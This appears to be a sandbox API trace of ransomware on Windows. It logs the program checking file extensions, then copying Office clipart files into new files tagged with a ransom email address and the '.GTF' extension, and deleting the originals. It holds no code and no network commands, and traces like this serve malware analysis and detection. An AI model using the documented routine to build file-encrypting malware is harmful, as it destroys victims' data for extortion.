	[0090.612] lstrlenW (lpString=".1cd") returned 4
	[0090.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0090.612] lstrlenW (lpString=".jpg") returned 4
	[0090.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0090.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0090.612] lstrlenW (lpString=".doc") returned 4
	[0090.612] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.612] lstrlenW (lpString=".docx") returned 5
	[0090.612] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0090.612] lstrlenW (lpString=".pdf") returned 4
	[0090.612] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.612] lstrlenW (lpString=".xls") returned 4
	[0090.612] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.612] lstrlenW (lpString=".xlsx") returned 5
	[0090.612] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0090.612] lstrlenW (lpString=".ppt") returned 4
	[0090.612] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0090.612] lstrlenW (lpString=".zip") returned 4
	[0090.612] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.612] lstrlenW (lpString=".rar") returned 4
	[0090.612] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.612] lstrlenW (lpString=".bz2") returned 4
	[0090.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.612] lstrlenW (lpString=".7z") returned 3
	[0090.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0090.612] lstrlenW (lpString=".dbf") returned 4
	[0090.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0090.612] lstrlenW (lpString=".1cd") returned 4
	[0090.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0090.613] lstrlenW (lpString=".jpg") returned 4
	[0090.613] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.613] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0090.613] lstrlenW (lpString="J0099145.JPG") returned 12
	[0090.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0090.614] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=24759) returned 1
	[0090.614] CloseHandle (hObject=0x31c) returned 1
	[0090.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg")) returned 0x220
	[0090.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0090.614] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.614] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0090.615] GetLastError () returned 0x0
	[0090.615] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x60b7, lpOverlapped=0x0) returned 1
	[0090.617] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x60c0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x60c0, lpOverlapped=0x0) returned 1
	[0090.618] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.618] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.618] SetEndOfFile (hFile=0x2d0) returned 1
	[0090.618] CloseHandle (hObject=0x2d0) returned 1
	[0090.618] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.618] SetEndOfFile (hFile=0x31c) returned 1
	[0090.619] CloseHandle (hObject=0x31c) returned 1
	[0090.619] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0090.619] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg")) returned 1
	[0090.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0090.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0090.620] lstrlenW (lpString=".doc") returned 4
	[0090.620] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0090.620] lstrlenW (lpString=".docx") returned 5
	[0090.620] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0090.620] lstrlenW (lpString=".pdf") returned 4
	[0090.620] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0090.620] lstrlenW (lpString=".xls") returned 4
	[0090.620] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0090.620] lstrlenW (lpString=".xlsx") returned 5
	[0090.620] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0090.620] lstrlenW (lpString=".ppt") returned 4
	[0090.620] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0090.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0090.620] lstrlenW (lpString=".zip") returned 4
	[0090.620] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0090.620] lstrlenW (lpString=".rar") returned 4
	[0090.620] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0090.620] lstrlenW (lpString=".bz2") returned 4
	[0090.620] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0090.620] lstrlenW (lpString=".7z") returned 3
	[0090.620] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0090.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0090.620] lstrlenW (lpString=".dbf") returned 4
	[0090.620] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0090.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0090.620] lstrlenW (lpString=".1cd") returned 4
	[0090.620] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0090.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0090.621] lstrlenW (lpString=".jpg") returned 4
	[0090.621] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0090.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0090.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0090.621] lstrlenW (lpString=".doc") returned 4
	[0090.621] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0090.621] lstrlenW (lpString=".docx") returned 5
	[0090.621] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0090.621] lstrlenW (lpString=".pdf") returned 4
	[0090.621] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0090.621] lstrlenW (lpString=".xls") returned 4
	[0090.621] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0090.621] lstrlenW (lpString=".xlsx") returned 5
	[0090.621] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0090.621] lstrlenW (lpString=".ppt") returned 4
	[0090.621] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0090.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0090.621] lstrlenW (lpString=".zip") returned 4
	[0090.621] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0090.621] lstrlenW (lpString=".rar") returned 4
	[0090.621] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0090.621] lstrlenW (lpString=".bz2") returned 4
	[0090.621] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0090.621] lstrlenW (lpString=".7z") returned 3
	[0090.621] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0090.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0090.621] lstrlenW (lpString=".dbf") returned 4
	[0090.621] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0090.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0090.621] lstrlenW (lpString=".1cd") returned 4
	[0090.621] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0090.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0090.622] lstrlenW (lpString=".jpg") returned 4
	[0090.622] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0090.622] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0090.622] lstrlenW (lpString="J0099146.WMF") returned 12
	[0090.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0090.622] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=16596) returned 1
	[0090.622] CloseHandle (hObject=0x31c) returned 1
	[0090.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf")) returned 0x220
	[0090.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0090.623] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.623] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0090.623] GetLastError () returned 0x0
	[0090.623] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x40d4, lpOverlapped=0x0) returned 1
	[0090.948] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x40e0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x40e0, lpOverlapped=0x0) returned 1
	[0090.950] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.950] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.950] SetEndOfFile (hFile=0x2d0) returned 1
	[0090.950] CloseHandle (hObject=0x2d0) returned 1
	[0090.950] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.950] SetEndOfFile (hFile=0x31c) returned 1
	[0090.951] CloseHandle (hObject=0x31c) returned 1
	[0090.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0090.951] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf")) returned 1
	[0091.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0091.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0091.011] lstrlenW (lpString=".doc") returned 4
	[0091.011] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.011] lstrlenW (lpString=".docx") returned 5
	[0091.011] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0091.011] lstrlenW (lpString=".pdf") returned 4
	[0091.011] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.011] lstrlenW (lpString=".xls") returned 4
	[0091.011] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.011] lstrlenW (lpString=".xlsx") returned 5
	[0091.011] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0091.011] lstrlenW (lpString=".ppt") returned 4
	[0091.011] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0091.011] lstrlenW (lpString=".zip") returned 4
	[0091.011] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.011] lstrlenW (lpString=".rar") returned 4
	[0091.011] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.011] lstrlenW (lpString=".bz2") returned 4
	[0091.011] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.011] lstrlenW (lpString=".7z") returned 3
	[0091.011] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0091.011] lstrlenW (lpString=".dbf") returned 4
	[0091.011] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0091.011] lstrlenW (lpString=".1cd") returned 4
	[0091.011] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0091.012] lstrlenW (lpString=".jpg") returned 4
	[0091.012] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0091.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0091.012] lstrlenW (lpString=".doc") returned 4
	[0091.012] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.012] lstrlenW (lpString=".docx") returned 5
	[0091.012] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0091.012] lstrlenW (lpString=".pdf") returned 4
	[0091.012] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.012] lstrlenW (lpString=".xls") returned 4
	[0091.012] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.012] lstrlenW (lpString=".xlsx") returned 5
	[0091.012] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0091.012] lstrlenW (lpString=".ppt") returned 4
	[0091.012] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0091.012] lstrlenW (lpString=".zip") returned 4
	[0091.012] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.012] lstrlenW (lpString=".rar") returned 4
	[0091.012] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.012] lstrlenW (lpString=".bz2") returned 4
	[0091.012] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.012] lstrlenW (lpString=".7z") returned 3
	[0091.012] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0091.012] lstrlenW (lpString=".dbf") returned 4
	[0091.012] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0091.012] lstrlenW (lpString=".1cd") returned 4
	[0091.012] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0091.012] lstrlenW (lpString=".jpg") returned 4
	[0091.012] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.013] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0091.013] lstrlenW (lpString="J0099160.JPG") returned 12
	[0091.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0091.187] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=15145) returned 1
	[0091.187] CloseHandle (hObject=0x2d0) returned 1
	[0091.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 0x220
	[0091.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0091.202] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.202] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0091.218] GetLastError () returned 0x0
	[0091.218] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x3b29, lpOverlapped=0x0) returned 1
	[0091.221] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x3b30, lpOverlapped=0x0) returned 1
	[0091.222] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.222] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.222] SetEndOfFile (hFile=0x35c) returned 1
	[0091.222] CloseHandle (hObject=0x35c) returned 1
	[0091.222] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.222] SetEndOfFile (hFile=0x2d0) returned 1
	[0091.223] CloseHandle (hObject=0x2d0) returned 1
	[0091.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0091.223] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 1
	[0091.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0091.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0091.224] lstrlenW (lpString=".doc") returned 4
	[0091.224] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0091.224] lstrlenW (lpString=".docx") returned 5
	[0091.224] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0091.224] lstrlenW (lpString=".pdf") returned 4
	[0091.224] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0091.224] lstrlenW (lpString=".xls") returned 4
	[0091.224] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0091.224] lstrlenW (lpString=".xlsx") returned 5
	[0091.224] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0091.224] lstrlenW (lpString=".ppt") returned 4
	[0091.224] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0091.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0091.224] lstrlenW (lpString=".zip") returned 4
	[0091.224] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0091.224] lstrlenW (lpString=".rar") returned 4
	[0091.224] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0091.224] lstrlenW (lpString=".bz2") returned 4
	[0091.224] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0091.224] lstrlenW (lpString=".7z") returned 3
	[0091.224] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0091.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0091.224] lstrlenW (lpString=".dbf") returned 4
	[0091.224] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
